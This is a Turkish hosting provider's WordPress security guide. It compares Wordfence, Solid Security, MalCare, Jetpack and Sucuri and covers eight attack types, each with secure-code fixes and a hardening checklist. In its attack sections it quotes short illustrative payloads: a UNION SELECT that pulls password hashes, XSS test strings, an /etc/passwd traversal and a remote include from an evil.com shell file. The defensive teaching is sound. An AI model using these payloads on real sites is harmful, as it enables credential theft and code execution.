Buyukweb
WordPress Güvenlik Rehberi: Eklenti Karşılaştırma ve Saldırı Türleri

WordPress Güvenlik Rehberi: Eklenti Karşılaştırma ve Saldırı Türleri

WordPress için Wordfence, Solid Security, MalCare, Jetpack ve Sucuri Security eklentilerinin karşılaştırması; brute force, SQL injection, XSS, CSRF, file upload bypass, LFI ve privilege escalation saldırı türleri derinlemesine; Imunify360, ModSecurity, Cloudflare WAF ile çok katmanlı savunma ve hardening checklist.

Büyükweb Editör EkibiHosting, Sunucu ve Sistem Yönetimi Editörü30 dakika okuma

WordPress Güvenlik Rehberi: Eklenti Karşılaştırma ve Saldırı Türleri

WordPress dünyasının en kolay sorulan ama en zor cevaplanan sorularından biri şudur: "Hangi güvenlik eklentisini kurmalıyım?" Cevap, kullandığınız sitenin türüne, trafiğinize, geçmişinizdeki hack hikâyenize ve hosting ortamınıza göre değişir. Bu rehber genel bir "wp-admin'i koru" yazısı değil; WordPress için en çok kullanılan beş güvenlik eklentisinin matris karşılaştırması ve siteyi düşüren sekiz ana saldırı türünün derinlemesine teknik anatomisi üzerine kurulu.

Genel WordPress sertleştirme (wp-admin kilitleme, 2FA, wp-config.php, dosya izinleri, JetBackup haftalık yedek) için ayrı bir WordPress Güvenlik İpuçları rehberimiz var. Bu yazı, o rehbere paralel değil; tamamlayıcıdır. Burada eklenti karar matrisini ve saldırının teknik tarafını işliyoruz.

Buyukweb perspektifi: cPanel paketlerimizde Imunify360 real-time WAF + malware tarama, ModSecurity + OWASP CRS rule-based WAF, AutoSSL Let's Encrypt otomasyonu, JetBackup haftalık tam yedek hazır. Bunlar sunucu katmanı koruması; site üzerinde WordPress eklentisi seçmeniz hâlâ önemlidir çünkü uygulama katmanı (PHP kodu, eklenti açıkları, kullanıcı oturumları) eklenti tarafında daha iyi gözlenir. VDS E5-V4 paketlerimizde root erişim sayesinde Fail2Ban, custom Nginx rule, Cloudflare Tunnel kombinasyonları kurabilirsiniz. 0850 302 60 70 destek hattımız, Bursa Tier 3 veri merkezimizden 7/24 ulaşılabilir.

WordPress Saldırı Yüzeyi: Beş Katman

Bir saldırgan WordPress sitenize girmek için tek bir yere değil birden fazla tabakaya bakar. Savunmayı doğru kurmak için bu tabakaları tanımak gerekir.

Katman 1: Application Layer (PHP Kodu, Eklenti / Tema Açıkları)

Çekirdek WordPress, modern güvenlik standartlarıyla sıkı yazılmıştır; ama 50.000+ eklenti ve 10.000+ tema barındıran ekosistemin tamamı bu kadar disiplinli değildir. WPScan Vulnerability Database, WordPress kaynaklı ihlallerin yaklaşık %96'sının eklenti veya tema açıklarından kaynaklandığını gösteriyor. Yani çekirdeği güncellemek tek başına yeterli değildir; eklentilerinizin güncel ve aktif geliştirilen sürümler olduğundan emin olmanız gerekir.

Katman 2: Authentication Layer (wp-login, REST API, XML-RPC)

  • /wp-login.php — klasik brute force hedefi
  • /wp-json/wp/v2/users — kullanıcı sayma (enumeration) endpoint'i, REST API auth zayıf bırakılırsa
  • /xmlrpc.php — brute force amplifier (tek istekte 100+ deneme), eski iletişim protokolü
  • Application Passwords API — WP 5.6+ ile gelen ekstra giriş kanalı

Katman 3: Database Layer (SQL Injection, wp_options)

wp_options tablosu, sitenin tüm yapılandırma anahtarlarını taşır (siteurl, home, active_plugins, admin_email). Bir saldırgan SQL injection ile bu tabloya erişirse siteurl alanını kötü amaçlı bir domain'e çevirebilir veya kendi admin kullanıcısını ekleyebilir. Eski eklentilerde $wpdb->query() doğru sanitize edilmediği için bu açık görülür.

Katman 4: File System (File Upload, .htaccess Override)

WordPress wp-content/uploads klasörü kullanıcı dosyalarını kabul eder. Eğer file upload doğru filtrelenmemişse, bir saldırgan .php uzantılı dosya yükleyip server-side kod çalıştırabilir (RCE). Ek olarak .htaccess dosyasını overwrite ederek sitenin tüm trafiğini bir başka domain'e yönlendirme (open redirect / SEO spam injection) yapabilir.

Katman 5: Server Layer (PHP Sürüm, Stack)

Sunucu yapılandırmasındaki zayıflıklar — eski PHP 5.x, kapanmamış disable_functions, kontrolsüz allow_url_include, ModSecurity'siz Apache, log rotasyonu olmayan Nginx — uygulama katmanını aşan saldırılarda kritik. Buyukweb cPanel paketlerinde PHP 7.4 / 8.0 / 8.1 / 8.2 / 8.3 sürümleri arasında MultiPHP Manager üzerinden geçiş yapabilirsiniz. PHP 8.x üzerinde open_basedir, disable_functions ve OPcache built-in olarak güçlüdür.

En Yaygın 8 Saldırı Türü Derinlemesine

Aşağıdaki saldırılar OWASP Top 10 ve WPScan açık veritabanında WordPress için en yüksek frekansta raporlanan tiplerdir.

1) Brute Force Saldırıları — wp-login + xmlrpc.php

Anatomi: Bot, kullanıcı adı listesi (genelde "admin", "administrator", "wp_user") + sözlük tabanlı parola listesi ile POST /wp-login.php veya POST /xmlrpc.php üzerinden saatlerce-günlerce deneme yapar. xmlrpc.php özellikle "amplifier" denir çünkü tek HTTP isteğinde system.multicall metoduyla 100+ parola tek seferde denetilebilir.

Savunma katmanları:

1. Rate limit       — Wordfence / Solid Security / Limit Login Attempts Reloaded
2. 2FA              — TOTP / WebAuthn / SMS (en zayıfı SMS)
3. reCAPTCHA v3     — Google CAPTCHA bot ayrımı
4. IP allowlist     — .htaccess Order Deny,Allow + Allow from STATIC_IP
5. wp-login değiştir — WPS Hide Login eklentisi ile /giris-buraya
6. xmlrpc.php kapatma — kullanmıyorsanız .htaccess Deny veya filter ile devre dışı
7. Sunucu katmanı   — Imunify360 brute force protection (Buyukweb cPanel'de aktif)

xmlrpc.php kapatma örneği (.htaccess):

# .htaccess — xmlrpc.php tamamen kapat
<Files xmlrpc.php>
  Order Deny,Allow
  Deny from all
</Files>

Veya bir tema/eklenti üzerinden filter ile:

// functions.php (veya custom plugin)
add_filter('xmlrpc_enabled', '__return_false');
add_filter('xmlrpc_methods', function($methods) {
    unset($methods['pingback.ping']);
    unset($methods['pingback.extensions.getPingbacks']);
    return $methods;
});

Jetpack kullanıyorsanız Jetpack xmlrpc'ye ihtiyaç duyar; o zaman tamamen kapatmak yerine yalnızca pingback metotlarını engelleyin.

2) SQL Injection — wp_options ve $wpdb->prepare()

Anatomi: Eski veya kötü yazılmış bir eklenti $_GET['id'] veya $_POST['username'] gibi kullanıcı verilerini doğrudan SQL sorgusuna yapıştırır. Örnek antipattern:

// KÖTÜ — SQL injection açık
global $wpdb;
$id = $_GET['id'];
$results = $wpdb->get_results("SELECT * FROM wp_posts WHERE ID = $id");

Bir saldırgan ?id=1 UNION SELECT user_login, user_pass FROM wp_users yazarak kullanıcı hash'lerini çekebilir.

Doğru pattern — $wpdb->prepare():

// İYİ — prepared statement, parametre escape
global $wpdb;
$id = absint($_GET['id']); // int doğrulama
$results = $wpdb->get_results(
    $wpdb->prepare("SELECT * FROM {$wpdb->posts} WHERE ID = %d", $id)
);

WordPress %d (int), %s (string), %f (float) placeholder'ları otomatik escape eder. Her sorguda $wpdb->prepare() kullanmak, WordPress geliştiricisinin temel disiplinidir.

Tespit etmek için: Sitenizin eklenti listesinde composer-require-checker veya basit grep:

# wp-content/plugins içinde direkt SQL koşulu arama
grep -rn '$wpdb->query(' wp-content/plugins/ | grep -v 'prepare'
grep -rn 'get_results("' wp-content/plugins/

Sonuçlardaki hiçbiri prepare() çağrısı olmadan kullanıcı girdisi içermemeli. Bulursanız o eklentinin geliştiricisine açık raporu açın ve mümkünse eklentiyi değiştirin.

3) XSS (Cross-Site Scripting) — esc_html / esc_attr / wp_kses

Anatomi: Kullanıcının yazdığı veriyi sayfada escape etmeden echo eden eklentilerde görülür. Klasik üç tip vardır:

  • Stored XSS — payload veritabanına kaydedilir, her sayfa görüntülemede çalışır (örn. yorum bölümünde <script>)
  • Reflected XSS — payload URL'de gelir, hemen aynı sayfada echo edilir (örn. arama formu ?q=<script>alert(1)</script>)
  • DOM-based XSS — JavaScript tarafında innerHTML ile DOM'a yapışan kullanıcı verisi

WordPress escape fonksiyonları:

// 1. HTML body içinde plain text echo
echo esc_html($comment_text);

// 2. HTML attribute içinde echo (örn. <input value="...">)
echo '<input value="' . esc_attr($value) . '">';

// 3. URL içinde echo (örn. <a href="...">)
echo '<a href="' . esc_url($link) . '">Tıkla</a>';

// 4. JavaScript blok içinde echo
echo '<script>var x = "' . esc_js($value) . '";</script>';

// 5. Textarea içinde echo
echo '<textarea>' . esc_textarea($content) . '</textarea>';

// 6. HTML markup'lı zengin metin (allowed tags ile filtreleme)
echo wp_kses($rich_text, array(
    'a' => array('href' => array(), 'title' => array()),
    'strong' => array(),
    'em' => array(),
));

wp_kses_post() ise post içeriği için WordPress'in standart "izin verilen HTML tag" listesini kullanır.

Test etmek için: Sitenizde ?s=<svg/onload=alert(1)> veya yorum kutusuna XSS payload deneyin (kendi sitenizde, prod'a değil staging'de). Eğer alert görüyorsanız eklentide escape eksikliği vardır.

4) CSRF (Cross-Site Request Forgery) — wp_nonce_field / check_admin_referer

Anatomi: Saldırgan, admin oturumunda olan kurbanı tuzak bir sayfaya yönlendirir. Sayfa otomatik olarak <form action="https://victim-site.com.tr/wp-admin/admin.php?action=delete_post&post_id=42" method="POST"> formunu submit eder. Kurban admin oturumunda olduğu için tarayıcı cookie'leri otomatik gönderir; eklentide CSRF token yoksa silme işlemi gerçekleşir.

Doğru pattern — nonce kullanımı:

// Form üretirken nonce field ekle
function my_admin_form() {
    ?>
    <form method="POST" action="">
        <?php wp_nonce_field('my_action_name', 'my_nonce'); ?>
        <input type="submit" name="submit" value="Sil">
    </form>
    <?php
}

// Form işlenirken nonce doğrula
function my_admin_action() {
    if (!isset($_POST['my_nonce']) || !wp_verify_nonce($_POST['my_nonce'], 'my_action_name')) {
        wp_die('Security check failed');
    }

    if (!current_user_can('manage_options')) {
        wp_die('Permission denied');
    }

    // İşlemi yap...
}

// Admin link'leri için
$url = wp_nonce_url(
    admin_url('admin.php?action=delete_post&post_id=42'),
    'delete_post_42'
);

// Nonce + referer check'i kombo
check_admin_referer('my_action_name', 'my_nonce');

Her destructive (sil, güncelle, gönder) eylem için nonce ZORUNLU. WordPress nonce'ları 24 saat geçerli, kullanıcı + action + cookie hash'inden türetilir.

5) File Upload Bypass — Mime Type Spoofing ve .php Engelleme

Anatomi: Saldırgan resim olarak gözüken ama içinde PHP kodu olan bir dosyayı upload form'una yükler. Server eğer sadece Content-Type header'ına bakıyorsa shell.php dosyasını image/jpeg olarak göstererek geçer. Daha sonra https://site.com.tr/wp-content/uploads/2026/05/shell.php URL'sini çağırarak server-side kod çalıştırır (RCE — Remote Code Execution).

Doğru pattern — WordPress upload kontrolü:

// wp_check_filetype ile MIME doğrulama
function my_secure_upload($file) {
    $allowed_types = array('jpg|jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif');
    $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name'], $allowed_types);

    if (!$filetype['ext'] || !$filetype['type']) {
        return new WP_Error('invalid_type', 'Sadece JPG/PNG/GIF kabul edilir');
    }

    // WordPress upload API kullan
    $upload = wp_handle_upload($file, array('test_form' => false));
    if (isset($upload['error'])) {
        return new WP_Error('upload_error', $upload['error']);
    }

    return $upload;
}

// wp-config.php — uploads klasöründe PHP çalıştırmayı kapat
// .htaccess yöntemiyle:
// wp-content/uploads/.htaccess

wp-content/uploads/.htaccess dosyasına şunu koyun:

# .htaccess — uploads klasöründe PHP yürütmeyi engelle
<FilesMatch "\.(php|phtml|php3|php4|php5|php7|phar|inc)$">
  Order Deny,Allow
  Deny from all
</FilesMatch>

# Alternatif modern syntax
<FilesMatch "\.(php|phtml|php[0-9]?|phar|inc)$">
  Require all denied
</FilesMatch>

Nginx için:

# wp-content/uploads/ içinde PHP çalıştırmayı engelle
location ~* /wp-content/uploads/.*\.(php|phtml|phar|inc)$ {
    deny all;
    return 403;
}

Buyukweb cPanel ortamında Imunify360'ın Proactive Defense modülü, suspicious PHP execution'ı runtime'da yakalar; uploads klasöründe PHP çalışırsa anlık alarm verir.

6) Local File Inclusion (LFI) ve Remote File Inclusion (RFI)

Anatomi: Eski PHP koduyla yazılmış eklenti, include($_GET['page']) gibi tehlikeli pattern kullanır. Saldırgan ?page=../../../../etc/passwd veya ?page=https://evil.com/shell.txt ile kendi kodunu çalıştırabilir.

Antipattern:

// KÖTÜ — LFI/RFI açık
$page = $_GET['page'];
include($page . '.php');

Doğru pattern — allowlist:

// İYİ — sadece izinli sayfa isimlerini kabul et
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'] ?? 'home';

if (in_array($page, $allowed_pages, true)) {
    include(__DIR__ . '/templates/' . $page . '.php');
} else {
    include(__DIR__ . '/templates/home.php');
}

Ek olarak php.ini üzerinde allow_url_include = Off (Buyukweb cPanel paketlerinde varsayılan kapalı) ve allow_url_fopen mümkünse kapalı tutulmalıdır.

7) Privilege Escalation — current_user_can() Eksik Kontroller

Anatomi: Bir editör veya yazar düzeyindeki kullanıcı, admin'e özel bir eylemi tetikleyebilir çünkü eklenti yazılırken yetki kontrolü unutulmuştur. WPScan veritabanında Privilege Escalation en sık görülen ikinci açık türüdür.

Antipattern:

// KÖTÜ — yetki kontrolü yok
add_action('admin_init', 'my_delete_user');
function my_delete_user() {
    if (isset($_GET['delete_user'])) {
        wp_delete_user(intval($_GET['delete_user']));
    }
}

Doğru pattern:

add_action('admin_init', 'my_delete_user');
function my_delete_user() {
    if (!isset($_GET['delete_user'])) return;

    // Yetki kontrolü
    if (!current_user_can('delete_users')) {
        wp_die('Permission denied', 403);
    }

    // CSRF kontrolü
    check_admin_referer('delete_user_' . intval($_GET['delete_user']));

    // İşlem
    wp_delete_user(intval($_GET['delete_user']));
}

current_user_can() kontrol edilebilen capability'ler:
manage_options (admin), edit_posts (yazar+), publish_posts, delete_users, update_plugins, activate_plugins. Her admin eylem için en sınırlı capability ile yetki kontrolü yapılmalı.

8) Supply Chain Attack — Eklenti Güncelleme Kanalı Saldırısı

Anatomi: Saldırgan popüler bir eklentinin geliştiricisinin hesabını ele geçirir (parola sızıntısı, yıllar önceki bir GitHub leak, vs.) ve eklentinin yeni sürümüne kötü amaçlı kod ekler. Eklentiyi auto-update ile alan on binlerce site aynı anda enfekte olur. 2021-2024 arasında bu pattern birkaç popüler WordPress eklentisinde gerçekleşti.

Korunma stratejileri:

  • Auto-update'i seçici aç — küçük eklentilerde aç, kritik üretim eklentilerinde manuel
  • Patch-day disiplini — haftada 1 gün eklenti güncelleme + öncesi tam backup
  • Eklenti seçimi — 500K+ aktif kurulum, son 6 ay güncelleme, açık kaynak repo
  • Wordfence Premium signature-based malware veritabanı, sıfır gün açıklarını yayınlandıktan saatler içinde tespit edebilir
  • WP-CLI checksumwp checksum plugin --all ile resmi WordPress.org repo'daki hash'lerle yerel dosyaları karşılaştır
# Tüm eklentilerin checksum'unu kontrol et
wp checksum plugin --all

# Belirli bir eklenti
wp checksum plugin wordpress-seo

# Çekirdek için
wp checksum core

Eğer bir dosya checksum farkı veriyorsa o dosya değişmiş demektir — ya legitim bir güncelleme (resmi yeni sürüm) ya da bir saldırı sonrası inject.

WordPress Güvenlik Eklenti Karşılaştırma Matrisi

WordPress repo'sunda 1000+ güvenlik eklentisi var; bunlardan beş tanesi aktif kullanım ve özellik yoğunluğu açısından öne çıkıyor. Karar matrisinde kıyaslayalım.

Wordfence Security (Free + Premium)

  • Kullanıcı tabanı: 4 milyon+ aktif kurulum (WordPress.org)
  • Endpoint firewall: PHP içinde çalışan WAF (uygulama katmanı), sunucu WAF'a alternatif/ekstra katman
  • Signature veritabanı: Wordfence Threat Defense Feed (Premium = real-time, Free = 30 gün gecikme)
  • Malware tarama: PHP dosyalarında imza tabanlı tarama, çekirdek/tema/eklenti checksum karşılaştırma
  • Live Traffic: site trafiğini gerçek zamanlı görme (Pro)
  • Login Security: 2FA (TOTP), CAPTCHA, kullanıcı kilitleme, parola gücü zorunluluğu
  • Country blocking: ülke bazlı IP engelleme (Premium)
  • WP-CLI desteği: Var
  • Performans etkisi: Orta (Live Traffic + Scan periyodik CPU yükü)

Ne zaman seçilir: Genel amaçlı, küçük-orta KOBİ, ilk WordPress sitesi, "tek eklenti hepsini yapsın" arayan kullanıcı. Free sürümü genelde yeterli; Premium ise threat feed real-time olduğu için e-ticaret veya üyelik sitelerinde anlamlı.

Solid Security (Eski iThemes Security)

  • Kullanıcı tabanı: 1 milyon+ aktif kurulum
  • 30+ özellik kategorisi: brute force protection, dosya değişim tespiti, IP allowlist/blocklist, kullanıcı log
  • 2FA: TOTP + e-mail + backup kodları
  • wp-admin kilitleme: custom URL, IP kısıtlama, "trusted devices"
  • File change detection: çekirdek/tema/eklenti dosyalarında günlük checksum
  • WP-CLI desteği: Var
  • Multi-site: Pro sürümde geliştirilmiş (network admin için)
  • Performans etkisi: Düşük-orta (WAF'ı yoktur, hardening ağırlıklı)

Ne zaman seçilir: Çoklu site (multisite) yöneten ajanslar, hardening'i sistematik istemek isteyenler, WAF'ı sunucu katmanından (Imunify360, Cloudflare) almak isteyenler. Pro sürümü yıllık abonelik ücretli, küçük bir site için aşırı; ama 5+ site yönetiyorsanız mantıklı.

Sucuri Security WordPress Eklentisi (Free)

  • Kullanıcı tabanı: 800K+ aktif kurulum
  • File integrity monitoring: dosya hash'lerini düzenli kontrol, değişen dosyaları bildir
  • Audit log: kullanıcı eylemleri (giriş, yazı düzenleme, eklenti güncelleme) detaylı log
  • Malware tarama: uzaktan tarama (eklentinin kendi serveri tarayıp rapor verir)
  • Post-hack actions: WP salts shuffle, parola sıfırlama, plugin reinstall yardımcıları
  • Security hardening: wp-admin kısıtlama, default username kontrol
  • Performans etkisi: Düşük (WAF lokalde değil)

Ne zaman seçilir: File integrity monitoring + audit log isteyen, WAF'ı zaten sunucu katmanında alan (Imunify360, ModSecurity) kullanıcılar için ideal. Free sürümü güçlü; ek WAF gerekirse Buyukweb cPanel paketinizdeki Imunify360 zaten o işi yapıyor.

MalCare Security (Free + Premium)

  • Kullanıcı tabanı: 100K+ aktif kurulum
  • Off-site malware tarama: sitenizi MalCare sunucularına aktarıp orada tarar (yerel CPU yükü minimum)
  • Otomatik temizleme: Premium'da, tarama sonucu enfeksiyon bulursa otomatik temizler
  • Login protection: brute force, CAPTCHA, IP block
  • Performans etkisi: Çok düşük (tarama uzakta)

Ne zaman seçilir: Geçmişte hacklenmiş ve tekrar enfeksiyon riski olan siteler, hızlı temizleme süreci isteyenler, paylaşımlı hosting'te CPU sınırı olan kullanıcılar. Premium sürümü yıllık abonelik ücretlidir, bir site için.

Jetpack Security (Automattic)

  • Kullanıcı tabanı: 5 milyon+ aktif kurulum (Jetpack genel)
  • Akismet anti-spam: yorum spam'i için endüstri standardı
  • Brute force protection: WordPress.com bulut tabanlı IP reputation
  • Yedekleme: VaultPress (artık Jetpack Backup), gerçek zamanlı yedek (Premium)
  • Downtime monitoring: site down olunca bildirim
  • Performans etkisi: Orta (Jetpack bütün bir paket, yalnız güvenlik değil sosyal/analytics/CDN modülleri de var)

Ne zaman seçilir: Jetpack'i zaten kullanan, WordPress.com ekosistemiyle entegre çalışmak isteyen siteler. Yalnız güvenlik için bilgisayar başına ekstra modüller yüklemek mantıklı değil; Jetpack ayrı ayrı modül aktif edilir.

Karar Matrisi: Hangi Eklenti Ne Zaman?

Senaryo Önerilen Eklenti(ler) Neden
Yeni kurulan kişisel blog (≤1K trafik) Wordfence Free Hepsi-bir-arada, ücretsiz, kolay
KOBİ kurumsal site, 5+ sayfa Wordfence Free + Sucuri Free WAF + audit log kombinasyonu
E-ticaret (WooCommerce, ödeme alır) Wordfence Premium veya MalCare Premium Real-time threat feed + auto-cleanup
Çoklu site / ajans yönetiminde 10+ site Solid Security Pro Multisite + hardening sistematik
Geçmişte hacklenmiş site MalCare Premium + Sucuri Free Hızlı temizleme + integrity monitoring
Sunucu zaten Imunify360'lı (Buyukweb cPanel) Sucuri Free (audit log) + login security eklentisi Sunucu WAF zaten var, eklenti audit + login için
Jetpack zaten kurulu Jetpack Security modülleri Çift WAF gereksiz
VDS root erişimli, sysadmin var Fail2Ban + Nginx WAF + Sucuri Free Sunucu odaklı, eklenti yardımcı

Tek bir mottoyu unutmayın: İki WAF eklentisi çalıştırmak (örn. Wordfence + Solid Security'nin WAF modülü) performans ve false-positive sorunlarına yol açar. Tek WAF + audit log eklentisi kombinasyonu en sağlıklısı.

Sunucu Seviyesi Koruma: Eklentinin Ötesi

WordPress eklentisi, uygulama katmanı korumasıdır; trafiğin PHP'ye ulaştığı anı kontrol eder. Ancak iyi bir savunma "defense in depth" — üç katmanlı olmalı:

[CDN/WAF katmanı]   →   [Sunucu katmanı]   →   [Uygulama katmanı]
 Cloudflare WAF        Imunify360            Wordfence
 OWASP CRS             ModSecurity + CRS     Solid Security
 Bot management        Fail2Ban              Sucuri Security

Imunify360 (Buyukweb cPanel'de Aktif)

CloudLinux Imunify360, modern cPanel paketlerinin standart güvenlik çözümüdür ve Buyukweb cPanel paketlerinde varsayılan aktiftir:

  • Real-time WAF — gelen trafiği OWASP CRS + özel kural setiyle filtreler
  • Malware tarama/home/user/public_html altında PHP dosyalarını günlük tarar
  • Patchman vulnerability scanner — eski/açıklı WordPress eklenti sürümlerini tespit eder
  • Brute force protection — wp-login, SSH, FTP, cPanel girişlerinde IP bazlı block
  • Reputation Management — global IP reputation veritabanı (saatler içinde güncel)
  • Proactive Defense — suspicious PHP execution'ı runtime'da yakalar (örn. uploads içinde PHP)
  • CAPTCHA challenge — şüpheli IP'lere otomatik CAPTCHA gösterir

Imunify360 yönetimi cPanel'in Security bölümünden yapılır; çoğu varsayılan ayar yeterli, sadece "Trusted IP" listesine kendi ofis/ev IP'nizi ekleyin ki yanlış yakalanmayasınız.

ModSecurity + OWASP CRS

Apache/LiteSpeed web sunucusunda çalışan rule-based WAF. ModSecurity Core Rule Set (CRS) OWASP tarafından bakımı yapılan kural setidir — SQL injection, XSS, LFI, command injection ve OWASP Top 10'un büyük kısmını kural seviyesinde yakalar. Buyukweb cPanel paketlerinde ModSecurity + CRS standart kuruludur; gerektiğinde WHM > ModSecurity üzerinden kural detayına inebilirsiniz.

Cloudflare WAF (Free + Pro)

Cloudflare proxy modunda DNS'inizi yönlendirirseniz, trafik Cloudflare edge ağından geçer ve sunucuya ulaşmadan WAF'tan filtrelenir. Free plan da OWASP managed ruleset kısmı içerir; Pro plan ek custom rule + rate limit imkanı verir. WordPress için Cloudflare'de tipik 3 kural:

  • Bot Fight Mode — düşük güven skorlu bot trafiği challenge
  • Rate limit/wp-login.php ve /xmlrpc.php için dakikada 5 istek
  • Country block — sitenize hiç ziyaretçi gelmeyen bölgelerden tüm trafik block

Fail2Ban (VDS Üzerinde)

VDS root erişimi olan müşterilerimiz için Fail2Ban, log dosyalarını izleyerek bozuk auth denemelerinde IP'yi otomatik iptables ile banlar. Apache/Nginx access log + sshd auth log + WordPress login log için filter chain kurulabilir. Buyukweb VDS E5-V4 paketlerinde Fail2Ban paketi varsayılan sistemde mevcut.

Defense in Depth Tablosu

Saldırı CDN katmanı Sunucu katmanı Uygulama katmanı
Brute force wp-login Cloudflare rate limit Imunify360 brute force block Wordfence login security
SQL injection Cloudflare WAF (OWASP) ModSecurity CRS Eklenti sahibi $wpdb->prepare()
XSS reflected Cloudflare WAF ModSecurity CRS esc_html/esc_attr
File upload bypass Imunify360 Proactive Defense wp_check_filetype + .htaccess
LFI/RFI Cloudflare WAF ModSecurity CRS + php.ini allowlist + absint
Eklenti açığı (sıfır gün) Cloudflare WAF (signature) Patchman vulnerability scan Wordfence Premium threat feed
Supply chain (kötü güncelleme) Imunify360 malware scan wp checksum + manual patch-day
DDoS Cloudflare DDoS protection (free dahil) Imunify360 limited

Görüldüğü gibi tek katman yeterli değil; üç katmanı kombine etmek hem maliyet (Buyukweb sunucu katmanı zaten dahil, Cloudflare free dahil, eklenti bedava) hem de güvenlik açısından dengeli.

WordPress Hardening Checklist (30+ Madde)

Aşağıda WordPress kurulumunun "production-ready" sertleşmesi için tipik checklist. Daha detaylı WordPress Güvenlik İpuçları yazımızı da inceleyin.

wp-config.php Sertleştirme

  • define('DISALLOW_FILE_EDIT', true); — admin panelinden dosya editörünü kapat
  • define('DISALLOW_FILE_MODS', true); — admin panelinden eklenti/tema yükleme/güncelleme kapat (kilitli ortam için)
  • define('FORCE_SSL_ADMIN', true); — wp-admin sadece HTTPS
  • define('WP_AUTO_UPDATE_CORE', 'minor'); — sadece minor patch otomatik
  • define('WP_POST_REVISIONS', 5); — revision sayısını sınırla (DB yükü)
  • define('AUTOSAVE_INTERVAL', 300); — otomatik kayıt aralığı 5 dakika
  • define('WP_DEBUG', false); — production'da debug kapalı
  • define('DB_CHARSET', 'utf8mb4'); — emoji + tam Unicode

WP Salts (Auth Keys + Nonces)

# WP-CLI ile salt yenileme (tüm oturumları logout eder)
wp config shuffle-salts

# Manuel — https://api.wordpress.org/secret-key/1.1/salt/

8 adet define('AUTH_KEY', ...) ve define('AUTH_SALT', ...) satırı vardır. Hack sonrası MUTLAKA salt yenilenir; aktif tüm session'lar geçersiz olur.

wp-admin Koruma

  • .htaccess IP whitelist — sadece ofis IP'sinden wp-admin erişimi
  • HTTP Basic Auth — wp-login.php önünde ikinci giriş katmanı
  • 2FA aktif — WP 2FA eklentisi veya Solid Security 2FA modülü
  • wp-login URL değiştir — WPS Hide Login eklentisi
  • CAPTCHA — reCAPTCHA v3 entegrasyonu

.htaccess IP whitelist örneği (wp-admin/.htaccess):

# wp-admin/.htaccess — sadece izinli IP'ler
Order Deny,Allow
Deny from all
Allow from 95.10.20.30
Allow from 192.168.1.0/24

REST API Auth

WordPress REST API /wp-json/wp/v2/users endpoint'i kullanıcı listesini ifşa eder (user enumeration). Bunu kapatmak için functions.php:

// Anonim kullanıcılar için /wp-json/wp/v2/users endpoint'ini kapat
add_filter('rest_endpoints', function($endpoints) {
    if (isset($endpoints['/wp/v2/users'])) {
        unset($endpoints['/wp/v2/users']);
    }
    if (isset($endpoints['/wp/v2/users/(?P<id>[\d]+)'])) {
        unset($endpoints['/wp/v2/users/(?P<id>[\d]+)']);
    }
    return $endpoints;
});

// Veya: oturum açık olmayan tüm REST sorgularını kısıtla
add_filter('rest_authentication_errors', function($result) {
    if (true === $result || is_wp_error($result)) return $result;
    if (!is_user_logged_in()) {
        return new WP_Error('rest_not_logged_in', 'Login required', array('status' => 401));
    }
    return $result;
});

İkinci filter, JSON API tüketicisi olmayan sitelerde kullanılır; e-ticaret veya frontend SPA olan sitelerde dikkat: bu kapatma frontend'i bozar.

XML-RPC Kapatma

  • xmlrpc.php .htaccess ile tamamen kapat (Jetpack yoksa)
  • add_filter('xmlrpc_enabled', '__return_false');
  • add_filter('xmlrpc_methods', ...) ile sadece pingback metotlarını engelle (Jetpack için)
  • Cloudflare WAF rule — /xmlrpc.php 0 rate (ülke + kural bazlı)

Default Admin Kullanıcı + Güçlü Parola

  • "admin" kullanıcı adını kullanma — yeni admin yarat, eski admin'i sil
  • 16+ karakter parola — karma harf+rakam+özel karakter
  • Parola yöneticisi kullan (Bitwarden / 1Password)
  • WordPress 6.4+ Application Passwords REST API erişimi için (asıl parolayı paylaşma)

Dosya İzinleri

  • Dosyalar: 644 (rw-r--r--)
  • Dizinler: 755 (rwxr-xr-x)
  • wp-config.php: 400 veya 440 (sadece okunabilir, owner'a)
  • .htaccess: 644
  • uploads/: 755 ama PHP execution engelli (yukarıdaki .htaccess)

Toplu düzeltme komutu:

# Dosyalar 644
find /home/user/public_html -type f -exec chmod 644 {} \;

# Dizinler 755
find /home/user/public_html -type d -exec chmod 755 {} \;

# wp-config sıkı
chmod 400 /home/user/public_html/wp-config.php

Database Prefix Değiştirme

Yeni WordPress kurulumunda wp-config.php içinde:

// Standart wp_ yerine özel prefix
$table_prefix = 'wp_xy7q_';

Mevcut kurulumlarda prefix değiştirmek için Search/Replace gerekir; WP-CLI ile:

wp db prefix wp_xy7q_

(Bu komut MariaDB'de RENAME TABLE ile prefix değiştirme yapar; öncesi tam backup şart.)

Eklenti Güncelleme Stratejisi

  • Patch-day — haftada 1 sabit gün (örn. Salı 10:00)
  • Backup pre-update — JetBackup snapshot al
  • Staging test — büyük güncellemeleri staging'de test
  • Auto-update seçici — düşük riskli eklentilerde aç, kritik üretim eklentilerinde manuel

wp-config.php veya functions.php:

// Tüm eklentiler auto-update
add_filter('auto_update_plugin', '__return_true');

// Veya seçici — sadece belirli eklentiler auto-update
add_filter('auto_update_plugin', function($update, $item) {
    $auto_update_list = array('akismet/akismet.php', 'wordfence/wordfence.php');
    return in_array($item->plugin, $auto_update_list);
}, 10, 2);

Login Hardening Detayı

WordPress girişi en çok hedeflenen yer olduğu için sertleştirme adımlarını ayrı bir bölümde toplayalım.

WPS Hide Login — wp-login URL'sini Değiştir

Kurun, aktive edin, ayarlardan Login URL alanına /my-secret-portal benzeri rastgele bir yol yazın. Eski /wp-login.php ve /wp-admin artık 404 döner. Bot trafiği büyük ölçüde sıfırlanır.

Limit Login Attempts Reloaded

Standart WordPress giriş sayfasına rate limit ekler. Varsayılan: 4 başarısız denemeden sonra IP'yi 20 dakika kilitler; 5 kilit sonrasında 24 saat banlar. CAPTCHA challenge opsiyonu da var.

2FA Seçenekleri

Yöntem Güvenlik Kullanım Kolaylığı Eklenti
TOTP (Google Authenticator, Authy) Yüksek Orta WP 2FA, Wordfence Login Security, Solid Security
WebAuthn (YubiKey, Touch ID) Çok yüksek Yüksek (hardware key) Two Factor (Plugin Directory)
E-mail OTP Orta (mail hesabı tehlikeye girerse fail) Yüksek WP 2FA
SMS OTP Düşük (SIM swap riski) Yüksek (önerilmez)
Backup kodları Recovery için zorunlu Düşük Tüm eklentilerde var

En önerilen kombinasyon: TOTP (Google Authenticator) + backup kodları (offline saklanmış 8-10 tek kullanımlık kod).

